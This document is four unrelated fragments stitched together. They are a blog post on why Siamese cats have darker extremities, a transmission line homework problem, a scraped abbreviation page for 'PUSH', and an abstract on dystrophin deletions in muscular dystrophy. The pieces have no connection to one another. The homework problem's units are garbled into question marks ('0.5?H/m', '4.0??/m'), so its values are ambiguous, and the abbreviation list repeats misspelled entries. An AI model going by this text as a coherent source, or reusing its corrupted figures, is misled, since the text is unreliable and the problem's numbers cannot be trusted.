After finding the infrared photographs last week of a cat with hot feet, I started thinking about the temperature of body extremities in cats. You see, there is a "cool" example of how the environment can change what an animal looks like and it involves cats (although the same phenomena is also found in rabbits and mice.)
Ever seen a Siamese cat? These cats are light colored with darker feet, ears and noses. It turns out their color is due to a mutation in the gene that produces brown color (the protein melanin), called the Tyrosinase gene. At normal body temperatures the coat color of an animal with the Siamese variation is light. At slightly lower temperatures, such as occur on the animal's extremities, the normal dark brown pigments are produced. Conventional wisdom says when a Siamese cat is raised in a cold climate, such as Northern Canada, it will have more extensive brown on its legs, tail, nose and ears than a Siamese raised at the equator.
Now go back and look at the infrared photograph of the cat at the infrared zoo. Are the extremities cooler? Seems to be a contradiction here. Any ideas why? Where do you think this Siamese cat in this picture from Wikimedia Commons was raised?


text: A transmission line has the following per-unit-length parameters: L = 0.5?H/m, C = 200 pF/m, R = 4.0??/m, and G = 0.02 S/m. Calculate the propagation constant and characteristic impedance of this line at 800 MHz. If the line is 30 cm long, what is the attenuation in dB? Recalculate these quantities in the absence of loss (R = G = 0).


text:
PUSH is an abbreviation for:
Find a translation for PUSH in other languages:
Select another language:
What does PUSH mean?
- to press against (a thing) with force in order to move it away.
Use the citation below to add this abbreviation to your bibliography:
PUSH also stands for:
- People Understanding Severe Handicaps
- People Understanding The Severely Handicapped
- People Understanding The Severly Handicap
- People Understanding The Severly Handicapped
- People United To Save Healthcare
... and 13 more »


text: About 60% of both Duchenne muscular dystrophy (DMD) and Becker muscular dystrophy (BMD) is due to deletions of the dystrophin gene. For cases with a deletion mutation, the "reading frame" hypothesis predicts that BMD patients produce a semifunctional, internally deleted dystrophin protein, whereas DMD patients produce a severely truncated protein that would be unstable. To test the validity of this theory, we analyzed 258 independent deletions at the DMD/BMD locus. The correlation between phenotype and type of deletion mutation is in agreement with the "reading frame" theory in 92% of cases and is of diagnostic and prognostic significance. The distribution and frequency of deletions spanning the entire locus suggests that many "in-frame" deletions of the dystrophin gene are not detected because the individuals bearing them are either asymptomatic or exhibit non-DMD/non-BMD clinical features.